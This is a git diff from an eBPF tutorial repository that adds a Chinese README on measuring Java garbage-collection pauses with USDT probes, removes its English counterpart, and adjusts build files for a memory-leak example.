write eBPF programs to capture information from these tracepoints, thereby gaining a deeper understanding and optimizing the behavior and performance of Java GC. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +Additionally, we have also introduced some basic knowledge and practical techniques related to Java GC, USDT, and eBPF. This knowledge and skills are valuable for developers who want to delve into the field of network and system performance analysis. -> The original link of this article: +If you would like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website to get more examples and the complete tutorial. diff --git a/src/15-javagc/README.zh.md b/src/15-javagc/README.zh.md new file mode 100644 index 00000000..7dd1e27f --- /dev/null +++ b/src/15-javagc/README.zh.md @@ -0,0 +1,327 @@ +# eBPF 入门实践教程十五:使用 USDT 捕获用户态 Java GC 事件耗时 + +eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。此外,eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 + +在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。 + +## USDT 介绍 + +USDT 是一种在应用程序中插入静态跟踪点的机制,它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活,从而在不重启应用程序或更改程序代码的情况下,获取程序的内部状态和性能指标。USDT 在很多开源软件,如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。 + +### 用户层面的追踪机制:用户级动态跟踪和 USDT + +在用户层面进行动态跟踪,即用户级动态跟踪(User-Level Dynamic Tracing)允许我们对任何用户级别的代码进行插桩。比如,我们可以通过在 MySQL 服务器的 `dispatch_command()` 函数上进行插桩,来跟踪服务器的查询请求: + +```bash +# ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string' +Tracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. + mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1="show tables" + mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1="SELECT * FROM numbers" +[...] +``` + +这里我们使用了 `uprobe` 工具,它利用了 Linux 的内置功能:ftrace(跟踪器)和 uprobes(用户级动态跟踪,需要较新的 Linux 版本,例如 4.0 左右)。其他的跟踪器,如 perf_events 和 SystemTap,也可以实现此功能。 + +许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量: + +```bash +# ./uprobe -l /opt/bin/mysqld | more +account_hash_get_key +add_collation +add_compiled_collation +add_plugin_noargs +adjust_time_range +[...] +# ./uprobe -l /opt/bin/mysqld | wc -l +21809 +``` + +这有 21,000 个函数。我们也可以跟踪库函数,甚至是单个的指令偏移。 + +用户级动态跟踪的能力是非常强大的,它可以解决无数的问题。然而,使用它也有一些困难:需要确定需要跟踪的代码,处理函数参数,以及应对代码的更改。 + +用户级静态定义跟踪(User-level Statically Defined Tracing, USDT)则可以在某种程度上解决这些问题。USDT 探针(或者称为用户级 "marker")是开发者在代码的关键位置插入的跟踪宏,提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 + +使用 USDT,我们可以简单地跟踪一个名为 `mysql:query__start` 的探针,而不是去跟踪那个名为 `_Z16dispatch_command19enum_server_commandP3THDPcj` 的 C++ 符号,也就是 `dispatch_command()` 函数。当然,我们仍然可以在需要的时候去跟踪 `dispatch_command()` 以及其他 21,000 个 mysqld 函数,但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 + +在 Linux 中的 USDT,无论是哪种形式的静态跟踪点,其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注,这使得许多常见的应用程序,包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 + +你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序,或者可能需要重新编译(通常是 --enable-dtrace)。你可以使用 `readelf` 来进行检查,例如对于 Node.js: + +```bash +# readelf -n node +[...] +Notes at offset 0x00c43058 with length 0x00000494: + Owner Data size Description + stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) + Provider: node + Name: gc__start + Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 + Arguments: 4@%esi 4@%edx 8@%rdi +[...] + stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) + Provider: node + Name: http__client__request + Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 + Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp) +[...] +``` + +这就是使用 --enable-dtrace 重新编译的 node,以及安装了提供 "dtrace" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针:node:gc__start(开始进行垃圾回收)和 node:http__client__request。 + +在这一点上,你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而,内置的 Linux 跟踪器,比如 ftrace 和 perf_events,目前还无法做到这一点(尽管 perf_events 的支持正在开发中)。 + +USDT 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 + +## Java GC 介绍 + +Java 作为一种高级编程语言,其自动垃圾回收(GC)是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间,从而减轻程序员在内存管理方面的负担。然而,GC 过程可能会引发应用程序的停顿,对程序的性能和响应时间产生影响。因此,对 Java GC 事件进行监控和分析,对于理解和优化 Java 应用的性能是非常重要的。 + +在接下来的教程中,我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时,希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。 + +## eBPF 实现机制 + +Java GC 的 eBPF 程序分为内核态和用户态两部分,我们会分别介绍这两部分的实现机制。 + +### 内核态程序 + +```c +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* Copyright (c) 2022 Chen Tao */ +#include +#include +#include +#include +#include "javagc.h" + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 100); + __type(key, uint32_t); + __type(value, struct data_t); +} data_map SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __type(key, int); + __type(value, int); +} perf_map SEC(".maps"); + +__u32 time; + +static int gc_start(struct pt_regs *ctx) +{ + struct data_t data = {}; + + data.cpu = bpf_get_smp_processor_id(); + data.pid = bpf_get_current_pid_tgid() >> 32; + data.ts = bpf_ktime_get_ns(); + bpf_map_update_elem(&data_map, &data.pid, &data, 0); + return 0; +} + +static int gc_end(struct pt_regs *ctx) +{ + struct data_t data = {}; + struct data_t *p; + __u32 val; + + data.cpu = bpf_get_smp_processor_id(); + data.pid = bpf_get_current_pid_tgid() >> 32; + data.ts = bpf_ktime_get_ns(); + p = bpf_map_lookup_elem(&data_map, &data.pid); + if (!p) + return 0; + + val = data.ts - p->ts; + if (val > time) { + data.ts = val; + bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); + } + bpf_map_delete_elem(&data_map, &data.pid); + return 0; +} + +SEC("usdt") +int handle_gc_start(struct pt_regs *ctx) +{ + return gc_start(ctx); +} + +SEC("usdt") +int handle_gc_end(struct pt_regs *ctx) +{ + return gc_end(ctx); +} + +SEC("usdt") +int handle_mem_pool_gc_start(struct pt_regs *ctx) +{ + return gc_start(ctx); +} + +SEC("usdt") +int handle_mem_pool_gc_end(struct pt_regs *ctx) +{ + return gc_end(ctx); +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; +``` + +首先,我们定义了两个映射(map): + +- `data_map`:这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。`data_t` 结构体包含进程 ID、CPU ID 和时间戳。 +- `perf_map`:这是一个 perf event array,用于将数据发送回用户态程序。 + +然后,我们有四个处理函数:`gc_start`、`gc_end` 和两个 USDT 处理函数 `handle_mem_pool_gc_start` 和 `handle_mem_pool_gc_end`。这些函数都用 BPF 的 `SEC("usdt")` 宏注解,以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 + +`gc_start` 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳,然后将这些数据存入 `data_map`。 + +`gc_end` 函数在垃圾收集结束时被调用。它执行与 `gc_start` 类似的操作,但是它还从 `data_map` 中检索开始时间,并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值(变量 `time`),那么它将数据发送回用户态程序。 + +`handle_gc_start` 和 `handle_gc_end` 是针对垃圾收集开始和结束事件的处理函数,它们分别调用了 `gc_start` 和 `gc_end`。 + +`handle_mem_pool_gc_start` 和 `handle_mem_pool_gc_end` 是针对内存池的垃圾收集开始和结束事件的处理函数,它们也分别调用了 `gc_start` 和 `gc_end`。 + +最后,我们有一个 `LICENSE` 数组,声明了该 BPF 程序的许可证,这是加载 BPF 程序所必需的。 + +### 用户态程序 + +用户态程序的主要目标是加载和运行eBPF程序,以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码,只展示了与 USDT 相关的部分。 + +第一个函数 `get_jvmso_path` 被用来获取运行的Java虚拟机(JVM)的 `libjvm.so` 库的路径。首先,它打开了 `/proc//maps` 文件,该文件包含了进程地址空间的内存映射信息。然后,它在文件中搜索包含 `libjvm.so` 的行,然后复制该行的路径到提供的参数中。 + +```c +static int get_jvmso_path(char *path) +{ + char mode[16], line[128], buf[64]; + size_t seg_start, seg_end, seg_off; + FILE *f; + int i = 0; + + sprintf(buf, "/proc/%d/maps", env.pid); + f = fopen(buf, "r"); + if (!f) + return -1; + + while (fscanf(f, "%zx-%zx %s %zx %*s %*d%[^\n]\n", + &seg_start, &seg_end, mode, &seg_off, line) == 5) { + i = 0; + while (isblank(line[i])) + i++; + if (strstr(line + i, "libjvm.so")) { + break; + } + } + + strcpy(path, line + i); + fclose(f); + + return 0; +} +``` + +接下来,我们看到的是将 eBPF 程序(函数 `handle_gc_start` 和 `handle_gc_end`)附加到Java进程的相关USDT探针上。每个程序都通过调用 `bpf_program__attach_usdt` 函数来实现这一点,该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功,`bpf_program__attach_usdt` 将返回一个链接对象,该对象将存储在skeleton的链接成员中。如果挂载失败,程序将打印错误消息并进行清理。 + +```c + skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, + binary_path, "hotspot", "mem__pool__gc__begin", NULL); + if (!skel->links.handle_mem_pool_gc_start) { + err = errno; + fprintf(stderr, "attach usdt mem__pool__gc__begin failed: %s\n", strerror(err)); + goto cleanup; + } + + skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, + binary_path, "hotspot", "mem__pool__gc__end", NULL); + if (!skel->links.handle_mem_pool_gc_end) { + err = errno; + fprintf(stderr, "attach usdt mem__pool__gc__end failed: %s\n", strerror(err)); + goto cleanup; + } + + skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, + binary_path, "hotspot", "gc__begin", NULL); + if (!skel->links.handle_gc_start) { + err = errno; + fprintf(stderr, "attach usdt gc__begin failed: %s\n", strerror(err)); + goto cleanup; + } + + skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, + binary_path, "hotspot", "gc__end", NULL); + if (!skel->links.handle_gc_end) { + err = errno; + fprintf(stderr, "attach usdt gc__end failed: %s\n", strerror(err)); + goto cleanup; + } +``` + +最后一个函数 `handle_event` 是一个回调函数,用于处理从perf event array收到的数据。这个函数会被 perf event array 触发,并在每次接收到新的事件时调用。函数首先将数据转换为 `data_t` 结构体,然后将当前时间格式化为字符串,并打印出事件的时间戳、CPU ID、进程 ID,以及垃圾回收的持续时间。 + +```c +static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz) +{ + struct data_t *e = (struct data_t *)data; + struct tm *tm = NULL; + char ts[16]; + time_t t; + + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + printf("%-8s %-7d %-7d %-7lld\n", ts, e->cpu, e->pid, e->ts/1000); +} +``` + +## 安装依赖 + +构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 + +在 Ubuntu/Debian 上,你需要执行以下命令: + +```shell +sudo apt install clang libelf1 libelf-dev zlib1g-dev +``` + +在 CentOS/Fedora 上,你需要执行以下命令: + +```shell +sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel +``` + +## 编译运行 + +在对应的目录中,运行 Make 即可编译运行上述代码: + +```console +$ make +$ sudo ./javagc -p 12345 +Tracing javagc time... Hit Ctrl-C to end. +TIME CPU PID GC TIME +10:00:01 10% 12345 50ms +10:00:02 12% 12345 55ms +10:00:03 9% 12345 47ms +10:00:04 13% 12345 52ms +10:00:05 11% 12345 50ms +``` + +完整源代码: + +- + +参考资料: + +- +- + +## 总结 + +通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点,以及如何编写 eBPF 程序来捕获这些跟踪点的信息,从而更深入地理解和优化 Java GC 的行为和性能。 + +此外,我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧,这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +> The original link of this article: diff --git a/src/15-javagc/README_en.md b/src/15-javagc/README_en.md deleted file mode 100644 index 1b76e184..00000000 --- a/src/15-javagc/README_en.md +++ /dev/null @@ -1,319 +0,0 @@ -# eBPF Tutorial by Example 15: Capturing User-Space Java GC Duration Using USDT - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without the need to restart the kernel or modify the kernel source code. This feature provides eBPF with high flexibility and performance, making it widely applicable in network and system performance analysis. Furthermore, eBPF also supports capturing user-space application behavior using User-Level Statically Defined Tracing (USDT). - -In this article of our eBPF Tutorial by Example series, we will explore how to use eBPF and USDT to capture and analyze the duration of Java garbage collection (GC) events. - -## Introduction to USDT - -USDT is a mechanism for inserting static tracepoints into applications, allowing developers to insert probes at critical points in the program for debugging and performance analysis purposes. These probes can be dynamically activated at runtime by tools such as DTrace, SystemTap, or eBPF, allowing access to the program's internal state and performance metrics without the need to restart the application or modify the program code. USDT is widely used in many open-source software applications such as MySQL, PostgreSQL, Ruby, Python, and Node.js. - -### User-Level Tracing Mechanism: User-Level Dynamic Tracing and USDT - -User-Level Dynamic Tracing allows us to instrument any user-level code by placing probes. For example, we can trace query requests in a MySQL server by placing a probe on the `dispatch_command()` function: - -```bash -# ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string' -Tracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. - mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1="show tables" - mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1="SELECT * FROM numbers" -[...] -``` - -Here, we use the `uprobe` tool, which leverages Linux's built-in functionalities: ftrace (tracing framework) and uprobes (User-Level Dynamic Tracing, requires a relatively new Linux version, around 4.0 or later). Other tracing frameworks such as perf_events and SystemTap can also achieve this functionality. - -Many other MySQL functions can be traced to obtain more information. We can list and count the number of these functions: - -```bash -# ./uprobe -l /opt/bin/mysqld | more -account_hash_get_key -add_collation -add_compiled_collation -add_plugin_noargs -adjust_time_range -[...] -# ./uprobe -l /opt/bin/mysqld | wc -l -21809 -``` - -There are 21,000 functions here. We can also trace library functions or even individual instruction offsets. - -User-Level Dynamic Tracing capability is very powerful and can solve numerous problems. However, using it also has some challenges: identifying the code to trace, handling function parameters, and dealing with code modifications. - -User-Level Statically Defined Tracing (USDT) can address some of these challenges. USDT probes (or "markers" at the user level) are trace macros inserted at critical positions in the code, providing a stable and well-documented API. This makes the tracing work simpler. - -With USDT, we can easily trace a probe called `mysql:query__start` instead of tracing the C++ symbol `_Z16dispatch_command19enum_server_commandP3THDPcj`, which is the `dispatch_command()` function. Of course, we can still trace `dispatch_command()` and the other 21,000 mysqld functions when needed, but only when USDT probes cannot solve the problem.In Linux, USDT (User Statically Defined Tracing) has actually existed in various forms for decades. It has recently gained attention again due to the popularity of Sun's DTrace tool, which has led to many common applications, including MySQL, PostgreSQL, Node.js, Java, etc., adding USDT support. SystemTap has developed a way to consume these DTrace probes. - -You may be running a Linux application that already includes USDT probes, or you may need to recompile it (usually with --enable-dtrace). You can use `readelf` to check, for example, for Node.js: - -```bash -# readelf -n node -[...] -Notes at offset 0x00c43058 with length 0x00000494: - Owner Data size Description - stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) - Provider: node - Name: gc__start - Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 - Arguments: 4@%esi 4@%edx 8@%rdi -[...] - stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) - Provider: node - Name: http__client__request - Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 - Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp) -[...] -``` - -This is a Node.js recompiled with --enable-dtrace and installed with the systemtap-sdt-dev package that provides "dtrace" functionality to support USDT. Here are two probes displayed: node:gc__start (garbage collection start) and node:http__client__request. - -At this point, you can use SystemTap or LTTng to trace these probes. However, built-in Linux tracers like ftrace and perf_events currently cannot do this (although perf_events support is under development). - -## Introduction to Java GC - -Java, as a high-level programming language, has automatic garbage collection (GC) as one of its core features. The goal of Java GC is to automatically reclaim memory space that is no longer used by the program, thereby relieving programmers of the burden of memory management. However, the GC process may cause application pauses, which can impact program performance and response time. Therefore, monitoring and analyzing Java GC events are essential for understanding and optimizing the performance of Java applications. - -In the following tutorial, we will demonstrate how to use eBPF and USDT to monitor and analyze the duration of Java GC events. We hope this content will be helpful to you in your work with eBPF for application performance analysis. - -USDT in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs by 10 times. - -## eBPF Implementation Mechanism - -The eBPF program for Java GC is divided into two parts: kernel space and user space. We will introduce the implementation mechanisms of these two parts separately. - -### Kernel Space Program - -```c -/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ -/* Copyright (c) 2022 Chen Tao */ -#include -#include -#include -#include -#include "javagc.h" - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 100); - __type(key, uint32_t); - __type(value, struct data_t); -} data_map SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY) - __type(key, int); - __type(value, int); -} perf_map SEC(".maps"); - -__u32 time; - -static int gc_start(struct pt_regs *ctx) -{ - struct data_t data = {}; - - data.cpu = bpf_get_smp_processor_id(); - data.pid = bpf_get_current_pid_tgid() >> 32; - data.ts = bpf_ktime_get_ns(); - bpf_map_update_elem(&data_map, &data.pid, &data, 0); - return 0; -} - -static int gc_end(struct pt_regs *ctx) -{ - struct data_t data = {}; - struct data_t *p; - __u32 val; - - data.cpu = bpf_get_smp_processor_id(); - data.pid = bpf_get_current_pid_tgid() >> 32; - data.ts = bpf_ktime_get_ns(); - p = bpf_map_lookup_elem(&data_map, &data.pid); - if (!p) - return 0; - - val = data.ts - p->ts; - if (val > time) { - data.ts = val; - bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); - } - bpf_map_delete_elem(&data_map, &data.pid); - return 0; -} - -SEC("usdt") -int handle_gc_start(struct pt_regs *ctx) -{ - return gc_start(ctx); -} - -SEC("usdt") -int handle_gc_end(struct pt_regs *ctx) -{ - return gc_end(ctx); -} - -SEC("usdt") -int handle_mem_pool_gc_start(struct pt_regs *ctx) -{ - return gc_start(ctx); -} - -SEC("usdt") -int handle_mem_pool_gc_end(struct pt_regs *ctx) -{ - return gc_end(ctx); -} - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -First, we define two maps: - -- `data_map`: This hashmap stores the start time of garbage collection for each process ID. The `data_t` structure contains the process ID, CPU ID, and timestamp. -- `perf_map`: This is a perf event array used to send data back to the user-space program. - -Then, we have four handler functions: `gc_start`, `gc_end`, and two USDT handler functions `handle_mem_pool_gc_start` and `handle_mem_pool_gc_end`. These functions are all annotated with the BPF `SEC("usdt")` macro to capture USDT events related to garbage collection in a Java process. - -The `gc_start` function is called when garbage collection starts. It first gets the current CPU ID, process ID, and timestamp, and then stores this data in `data_map`. - -The `gc_end` function is called when garbage collection ends. It performs similar operations as `gc_start`, but it also retrieves the start time from `data_map` and calculates the duration of garbage collection. If the duration exceeds a set threshold (`time` variable), it sends the data back to the user-space program. - -`handle_gc_start` and `handle_gc_end` are handler functions for the garbage collection start and end events, respectively, and they call `gc_start` and `gc_end`, respectively. - -`handle_mem_pool_gc_start` and `handle_mem_pool_gc_end` are handler functions for the garbage collection start and end events in the memory pool, and they also call `gc_start` and `gc_end`, respectively.Finally, we have a `LICENSE` array that declares the license of the BPF program, which is required for loading the BPF program. - -### User-space Program - -The main goal of the user-space program is to load and run eBPF programs, as well as process data from the kernel-space program. This is achieved through the use of the libbpf library. Here, we are omitting some common code for loading and running eBPF programs and only showing the parts related to USDT. - -The first function `get_jvmso_path` is used to obtain the path of the `libjvm.so` library for the running Java Virtual Machine (JVM). First, it opens the `/proc//maps` file, which contains the memory mapping information of the process address space. Then, it searches for the line that contains `libjvm.so` in the file and copies the path of that line to the provided argument. - -```c -static int get_jvmso_path(char *path) -{ - char mode[16], line[128], buf[64]; - size_t seg_start, seg_end, seg_off; - FILE *f; - int i = 0; - - sprintf(buf, "/proc/%d/maps", env.pid); - f = fopen(buf, "r"); - if (!f) - return -1; - - while (fscanf(f, "%zx-%zx %s %zx %*s %*d%[^\n]\n", - &seg_start, &seg_end, mode, &seg_off, line) == 5) { - i = 0; - while (isblank(line[i])) - i++; - if (strstr(line + i, "libjvm.so")) { - break; - } - } - - strcpy(path, line + i); - fclose(f); - - return 0; -} -``` - -Next, we see the attachment of the eBPF programs (`handle_gc_start` and `handle_gc_end`) to the relevant USDT probes in the Java process. Each program achieves this by calling the `bpf_program__attach_usdt` function, which takes as parameters the BPF program, the process ID, the binary path, and the provider and name of the probe. If the probe is successfully attached, `bpf_program__attach_usdt` will return a link object, which is stored in the skeleton's link member. If the attachment fails, the program will print an error message and perform cleanup. - -```c - skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, - binary_path, "hotspot", "mem__pool__gc__begin", NULL); - if (!skel->links.handle_mem_pool_gc_start) { - err = errno; - fprintf(stderr, "attach usdt mem__pool__gc__begin failed: %s\n", strerror(err)); - goto cleanup; - } - - skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, - binary_path, "hotspot", "mem__pool__gc__end", NULL); - if (!skel->links.handle_mem_pool_gc_end) { - err = errno; - fprintf(stderr, "attach usdt mem__pool__gc__end failed: %s\n", strerror(err)); - goto cleanup; - } - - skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, -binary_path, "hotspot", "gc__begin", NULL); - if (!skel->links.handle_gc_start) { - err = errno; - fprintf(stderr, "attach usdt gc__begin failed: %s\n", strerror(err)); - goto cleanup; - } - - skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, - binary_path, "hotspot", "gc__end", NULL); - if (!skel->links.handle_gc_end) { - err = errno; - fprintf(stderr, "attach usdt gc__end failed: %s\n", strerror(err)); - goto cleanup; - } -``` - -The last function `handle_event` is a callback function used to handle data received from the perf event array. This function is triggered by the perf event array and is called each time a new event is received. The function first converts the data to a `data_t` structure, then formats the current time as a string, and finally prints the timestamp, CPU ID, process ID, and duration of the garbage collection. - -```c -static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz) -{ - struct data_t *e = (struct data_t *)data; - struct tm *tm = NULL; - char ts[16]; - time_t t; - - time(&t); - tm = localtime(&t); - strftime(ts, sizeof(ts), "%H:%M:%S", tm); - printf("%-8s %-7d %-7d %-7lld\n", ts, e->cpu, e->pid, e->ts/1000); -} -``` - -## Installing Dependencies - -To build the example, you need clang, libelf, and zlib. The package names may vary with different distributions. - -On Ubuntu/Debian, run the following command: - -```shell -sudo apt install clang libelf1 libelf-dev zlib1g-dev -``` - -On CentOS/Fedora, run the following command: - -```shell -sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel -``` - -## Compiling and Running - -In the corresponding directory, run Make to compile and run the code: - -```console -$ make -$ sudo ./javagc -p 12345 -Tracing javagc time... Hit Ctrl-C to end. -TIME CPU PID GC TIME -10:00:01 10% 12345 50ms -10:00:02 12% 12345 55ms -10:00:03 9% 12345 47ms -10:00:04 13% 12345 52ms -10:00:05 11% 12345 50ms -``` - -Complete source code: - -- - -References: - -- -- - -Summary.Through this introductory eBPF tutorial, we have learned how to use eBPF and USDT for dynamic tracing and analysis of Java garbage collection (GC) events. We have understood how to set USDT tracepoints in user space applications and how to write eBPF programs to capture information from these tracepoints, thereby gaining a deeper understanding and optimizing the behavior and performance of Java GC. - -Additionally, we have also introduced some basic knowledge and practical techniques related to Java GC, USDT, and eBPF. This knowledge and skills are valuable for developers who want to delve into the field of network and system performance analysis. - -If you would like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website to get more examples and the complete tutorial. diff --git a/src/16-memleak/.config b/src/16-memleak/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/16-memleak/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/16-memleak/.gitignore b/src/16-memleak/.gitignore index 3bbbd457..23979aa4 100644 --- a/src/16-memleak/.gitignore +++ b/src/16-memleak/.gitignore @@ -6,3 +6,5 @@ package.json package.yaml ecli memleak +test_memleak +.output/ diff --git a/src/16-memleak/Makefile b/src/16-memleak/Makefile index fbf4f39c..0c0cd92f 100644 --- a/src/16-memleak/Makefile +++ b/src/16-memleak/Makefile @@ -25,6 +25,7 @@ CFLAGS := -g -Wall ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) APPS = # minimal minimal_legacy bootstrap uprobe kprobe fentry usdt sockfilter tc ksyscall +TEST_APPS = test_memleak CARGO ?= $(shell which cargo) ifeq ($(strip $(CARGO)),) @@ -69,12 +70,12 @@ $(call allow-override,CC,$(CROSS_COMPILE)cc) $(call allow-override,LD,$(CROSS_COMPILE)ld) .PHONY: all -all: $(APPS) +all: $(APPS) $(TEST_APPS) .PHONY: clean clean: $(call msg,CLEAN) - $(Q)rm -rf $(OUTPUT) $(APPS) + $(Q)rm -rf $(OUTPUT) $(APPS) $(TEST_APPS) $(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): $(call msg,MKDIR,$@) @@ -94,16 +95,16 @@ $(BPFTOOL): | $(BPFTOOL_OUTPUT) $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap -$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: - $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release +$(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a:: + $(Q)cd $(LIBBLAZESYM_SRC)/capi && $(CARGO) build --release -$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a | $(OUTPUT) $(call msg,LIB, $@) - $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a $@ -$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a | $(OUTPUT) $(call msg,LIB,$@) - $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + $(Q)cp $(LIBBLAZESYM_SRC)/capi/include/blazesym.h $@ # Build BPF code $(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) 